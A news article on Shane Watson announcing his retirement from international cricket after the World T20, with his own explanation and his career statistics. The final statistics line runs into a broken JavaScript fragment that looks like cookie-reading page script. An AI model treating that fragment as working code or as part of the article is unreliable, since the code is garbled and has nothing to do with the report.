Australian all-rounder Shane Watson has announced that he will retire from international cricket at the end of the WorldT20.
Watson informed his Australian teammates of the news in Mohali on Thursday.
"It's been over the last week that it's really become clear that now really is the right time to retire from all international cricket," Watson said.
"I've been playing with the thought for a few months now and I know now with the way the group is continuing to evolve, which is exciting to be able to see, with my young family as well, and seeing the potential of the international schedule is very hectic.
"And I just know it's the right time to be able to right now clear my mind knowing that I've made the decision and be absolutely ready to go for these next two very important games."
The 34-year-old played 59 Test matches, 190 ODIs and has played 56 T20 internationals over a career spanning 14 years.
"I know how privileged I've been to be in the position to start out so young with so many incredible players.
"That's part of what I've always seen myself being the filter to pass on that knowledge to the guys that I'm involved with.
"I know how incredibly fortunate I've been … my first tour was with Steve Waugh as the captain of the Test squad.
"A lot of these guys have seen Steve Waugh play but never had the fortune to actually be able to play with him.
"That's just one guy, let alone all the other legends I was fortunate enough to play with and it feels like the right time to be able to let the younger group continue to grow and evolve like they have been."
Watson's career by the numbers:
Tests: 59
Runs: 3,731, average: 35.19, centuries: four
Wickets: 75, average: 33.68, five-wicket hauls: three
ODIs: 190
Runs: 5,757, average: 40.54, centuries: nine
Wickets: 168, average: 31.79
T20Is: 56
Runs: 1,400, average: 28.00, centuries: one
Wickets: 46, average: 24.71 "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
